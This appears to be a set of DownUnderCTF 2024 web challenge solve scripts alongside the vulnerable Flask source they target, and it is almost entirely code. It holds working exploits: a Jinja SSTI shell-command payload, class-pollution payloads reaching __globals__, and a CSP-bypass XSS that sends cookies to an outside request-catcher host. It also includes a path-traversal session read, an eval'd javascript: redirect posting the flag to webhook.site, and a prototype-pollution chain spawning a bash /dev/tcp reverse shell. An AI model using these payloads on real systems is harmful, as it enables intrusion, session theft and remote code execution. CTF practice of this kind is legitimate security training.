from flask import Flask, render_template, request, render_template_string

app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def vulnerable():
    chat_log = []

    if request.method == 'POST':
        user_input = request.form.get('user_input')
        try:
            result = render_template_string(user_input)
        except Exception as e:
            result = str(e)

        chat_log.append(('User', user_input))
        chat_log.append(('Emu', result))
    
    return render_template('index.html', chat_log=chat_log)

if __name__ == '__main__':
    app.run(debug=True, port=80)

{{ ''.__class__.__mro__[1].__subclasses__()[213]("grep -r 'DUCTF' *", shell=True,stdout=-1).communicate()}}

from flask import Flask, request, render_template_string, render_template
from lxml import etree

app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'POST':
        xml_data = request.data
        try:
            parser = etree.XMLParser(resolve_entities=True)
            root = etree.fromstring(xml_data, parser=parser)
        except etree.XMLSyntaxError as e:
            return render_template_string('<div style="color:red;">Error parsing XML: {{ error }}</div>', error=str(e))
        feedback_element = root.find('feedback')
        if feedback_element is not None:
            feedback = feedback_element.text
            return render_template_string('<div style="color:green;">Feedback sent to the Emus: {{ feedback }}</div>', feedback=feedback)
        else:
            return render_template_string('<div style="color:red;">Invalid XML format: feedback element not found</div>')

    return render_template('index.html')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

############
# utils.py #
############
def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

#############
# routes.py #
#############
@app.route("/save_feedback", methods=["POST"])
@login_required
def save_feedback():
    data = json.loads(request.data)
    feedback = Feedback()
    # Because we want to dynamically grab the data and save it attributes we can merge it and it *should* create those attribs for the object.
    merge(data, feedback)
    save_feedback_to_disk(feedback)
    return jsonify({"success": "true"}), 200

import os 
...

flag = os.getenv("flag") # false

... 
@app.route("/get_flag")
@login_required
def get_flag():
    if flag == "true":
        return "DUCTF{NOT_THE_REAL_FLAG}"
    else:
        return "Nope"

import requests

url = "https://web-co2-9a13ebd2da030b42.2024.ductf.dev"

token = ".eJwlzjESAjEIAMC_pLaAJAS4z9wEAqPtnVc5_l0d6232VfY84ryX7XlccSv7Y5WtZIKgY2ZfxI4ztIqSSCJDwAI3HOgWQY17pzGlGVYedZlgEIKBKtCglMXa2LmHmLo7a13Q6qxGvQ_vkGZo9sMxkzwpRKN8I9cZx39Ty_sDsawvfg.ZogGoQ.DVOaVTejSxgMsXsZ1xaSh-xPmCI"

r = requests.post(
    f"{url}/save_feedback",
    cookies={"session": token},
    json={
        "title": "asdf", 
        "content": "asdf", 
        "rating": "12", 
        "referred": "asdf",
        "__class__": {"__init__": {"__globals__": {"flag": "true"}}}
    }
)

print(r.text) 

r = requests.get(
    f"{url}/get_flag",
    cookies={"session": token},
)
print(r.text) 

...
@app.route('/')
def index():
    posts = BlogPost.query.filter_by(is_public=True).all()
    template = template_env.env.get_template("index.html")    
    return template.render(posts=posts, current_user=current_user, nonce=g.nonce)


@app.route('/register', methods=['GET', 'POST'])
def register():
    if current_user.is_authenticated:
        return redirect("/dashboard")
    if request.method == "POST":
        hashed_password = generate_password_hash(request.form.get("password"), method='sha256')
        new_user = User(username=request.form.get("username"), password=hashed_password)
        db.session.add(new_user)
        db.session.commit()
        return redirect("/login")
    return render_template("register.html", nonce=g.nonce)

@app.route('/login', methods=['GET', 'POST'])
def login():
    if current_user.is_authenticated:
        return redirect("/dashboard")
    user = User.query.filter_by(username=request.form.get("username")).first()
    if user and check_password_hash(user.password, request.form.get("password")):
        login_user(user)
        return redirect("/")
    return render_template("login.html", nonce=g.nonce)

@app.route('/logout')
@login_required
def logout():
    logout_user()
    return redirect("/")

@app.route("/profile")
@login_required
def profile():
    return render_template("profile.html", nonce=g.nonce)


@app.route("/dashboard")
@login_required
def dashboard():
    posts = BlogPost.query.filter_by(author=current_user.id).all()
    template = template_env.env.get_template("dashboard.html")
    return template.render(posts=posts, current_user=current_user, nonce=g.nonce)


@app.route("/blog/<blog_id>")
def blog(blog_id):
    post = BlogPost.query.filter_by(id=int(blog_id)).first()
    if not post:
        flash("Blog post does not exist!")
        return redirect("/")
    template = template_env.env.get_template("feedback.html")
    return template.render(post=post, nonce=g.nonce, current_user=current_user)


@app.route("/edit/<blog_id>", methods=["GET", "POST"])
@login_required
def edit_blog_post(blog_id):
    blog = BlogPost.query.filter_by(id=blog_id).first()
    if request.method == "POST":
        blog.title = request.form.get("title")
        blog.content = request.form.get("content")
        blog.is_public = bool(int(request.form.get("public"))) if request.form.get("public") else False
        db.session.add(blog)
        db.session.commit()
        return redirect(f"/blog/{str(blog.id)}")
    if blog and current_user.id == blog.author:
        return render_template("edit_blog.html", blog=blog, nonce=g.nonce)
    else:
        return redirect("/403")

@app.route("/create_post", methods=["GET", "POST"])
@login_required
def create_post():
    if request.method == "POST":
        post = BlogPost(title=request.form.get("title"), content=request.form.get("content"), author=current_user.id)
        post.is_public = bool(int(request.form.get("public"))) if request.form.get("public") else False
        db.session.add(post)
        db.session.commit()
        return redirect("/dashboard")
    template = template_env.env.get_template("create_post.html")
    return template.render(nonce=g.nonce, current_user=current_user)

...
TEMPLATES_ESCAPE_ALL = True
TEMPLATES_ESCAPE_NONE = False
...
class jEnv():
    """Contains the default config for the Jinja environment. As we move towards adding more functionality this will serve as the object that will
    ensure the right environment is being loaded. The env can be updated when we slowly add in admin functionality to the application.
    """
    def __init__(self):
        self.env = Environment(loader=PackageLoader("app", "templates"), autoescape=TEMPLATES_ESCAPE_ALL)

template_env = jEnv()

@app.route("/admin/update-accepted-templates", methods=["POST"])
@login_required
def update_template():
    data = json.loads(request.data)
    # Enforce strict policy to filter all expressions
    if "policy" in data and data["policy"] == "strict":
        template_env.env = Environment(loader=PackageLoader("app", "templates"), autoescape=TEMPLATES_ESCAPE_ALL)
    # elif "policy" in data and data["policy"] == "lax":
    #     template_env.env = Environment(loader=PackageLoader("app", "templates"), autoescape=TEMPLATES_ESCAPE_NONE)
    # TO DO: Add more configurations for allowing LateX, XML etc. to be configured in app
    return jsonify({"success": "true"}), 200

############
# utils.py #
############
def generate_random_string(length=16):
    characters = string.ascii_letters + string.digits
    random_string = ''.join(random.choice(characters) for _ in range(length))
    return random_string    

#############
# routes.py #
#############

SECRET_NONCE = generate_random_string()

...

def generate_nonce(data):
    nonce = SECRET_NONCE + data + generate_random_string(length=RANDOM_COUNT)
    sha256_hash = hashlib.sha256()
    sha256_hash.update(nonce.encode('utf-8'))
    hash_hex = sha256_hash.hexdigest()
    g.nonce = hash_hex
    return hash_hex

@app.before_request
def set_nonce():
    generate_nonce(request.path)

@app.after_request
def apply_csp(response):
    nonce = g.get('nonce')
    csp_policy = (
        f"default-src 'self'; "
        f"script-src 'self' 'nonce-{nonce}' https://ajax.googleapis.com; "
        f"style-src 'self' 'nonce-{nonce}' https://cdn.jsdelivr.net; "
        f"script-src-attr 'self' 'nonce-{nonce}'; " 
        f"connect-src *; "
    )
    response.headers['Content-Security-Policy'] = csp_policy
    return response

@app.route("/api/v1/report")
@limiter.limit("6 per minute")
def report():
    resp = requests.post(f'{os.getenv("XSSBOT_URL", "http://xssbot:8000")}/visit', json={'url':
        os.getenv("APP_URL", "http://co2v2:1337")
    }, headers={
        'X-SSRF-Protection': '1'
    })
    print(resp.text)
    return jsonify(status=resp.status_code)

import requests

url = "https://web-co2v2-cd93cd63acfba451.2024.ductf.dev"

token = ".eJwljk2KAkEMRq8iWYsk1ZX66UN4gUGkkkrGgR6ErpZZiHe3ZVaPj_ct3hOuvrRxswHz1xMO2w74tTHat8ERzvft0Jbl_mf9BJfX5bjfVxs3mLf1Yfv66TCDOxZSco-ds1KzGkrlUpwyGnZUoUQqZjzlGDm1MgmFnEKXQsaEgrUiJ_bSc52y5mhFqqrmGjpOoQXhGJNGdBES-cjUnNXZSv2EXh_D1v8agtcbOHQ-5g.ZopGIw.SDCkylqC_IeExFrSEEYbM8NHUl0"

r = requests.post(
    f"{url}/save_feedback",
    cookies={"session": token},
    json={
        "title": "asdf", 
        "content": "asdf", 
        "rating": "12", 
        "referred": "asdf",
        "__class__": {"__init__": {"__globals__": {"TEMPLATES_ESCAPE_ALL": False, "SECRET_NONCE":"", "RANDOM_COUNT":0}}}
    }
)
print(r.text) 

r = requests.post(
    f"{url}/admin/update-accepted-templates",
    cookies={"session": token},
    json={
        "policy":"strict"
    }
)

print(r.text) 

nonce = "8a5edab282632443219e051e4ade2d1d5bbc671c781051bf1437897cbdfea0f1"

r = requests.post(
    f"{url}/create_post", 
    cookies={"session": token},
    data={
        "title": f"""<script nonce="{nonce}">/*""",  
        "content": f"""*/fetch("https://frsfggq.request.dreamhack.games/?c="+document.cookie)</script>""",
        "public": 1
    }
)

print(r.text)

# bot
r = requests.get(
    f"{url}/api/v1/report",
    cookies={"session": token}
)
print(r.text) 

import requests

url = "https://web-sniffy-d9920bbcf9df.2024.ductf.dev" 

SESSID = "w3b"

cookies = {"PHPSESSID" : SESSID }

for i in range(4): 
    r = requests.get(
        f"{url}", cookies=cookies, params={"theme": 'a' * i + 'M.K.' * 300}
    )
    r = requests.get(
        f"{url}/audio.php?f=../../../../../../../../../../../tmp/sess_{SESSID}",
        cookies=cookies
    )
    
    if r.status_code != 403 :
        print(r.text) 

import base64

b64 = base64.b64encode(b"fetch('/flag/get').then(r => r.text()).then(text=>fetch('https://webhook.site/3e37a354-b43f-4e0a-8bdc-2bf1a5293e9f',{method:'POST',body:text}))").decode()

bot_url = "https://web-waifu-ea0bd3796efa3446.2024.ductf.dev"

url = "/auth/?bypass=" + "%61" * 400 + f"&redirectTo=javascript://127.0.0.1:3000/%250aeval(atob(%2522{b64}%2522))"
print(url) 

import requests, base64
 
url = "https://web-prisoner-processor-827ee556e12a3f35.2024.ductf.dev"
rhost = "server ip"
rport = "server port"

r = requests.get( 
    f"{url}/examples"
)

base = r.json()["examples"][0] 

# Path Traversal & index.ts overwrite
base["data"]["signed.__proto__"] = {
    "outputPrefix" : "../../proc/self/fd/3\x00"
}

cmd = f"bash -i >& /dev/tcp/{rhost}/{rport} 0>&1"

payload = {
    "data": {
        "const a": "string = Bun.spawnSync({cmd:[\"bash\",\"-c\",\"echo${IFS}" + \
        base64.b64encode(cmd.encode()).decode() + \
        "${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash${IFS}-i\"]})/*",
        **base["data"],
        "asdf": "asdf*/"                       
    },
    "signature": base["signature"]
}

r = requests.post(
    f"{url}/convert-to-yaml", json=payload
)

base["data"]["signed.__proto__"]["outputPrefix"] = "../../proc/self/fd/3\\x"
r = requests.post(
    f"{url}/convert-to-yaml", json=payload
)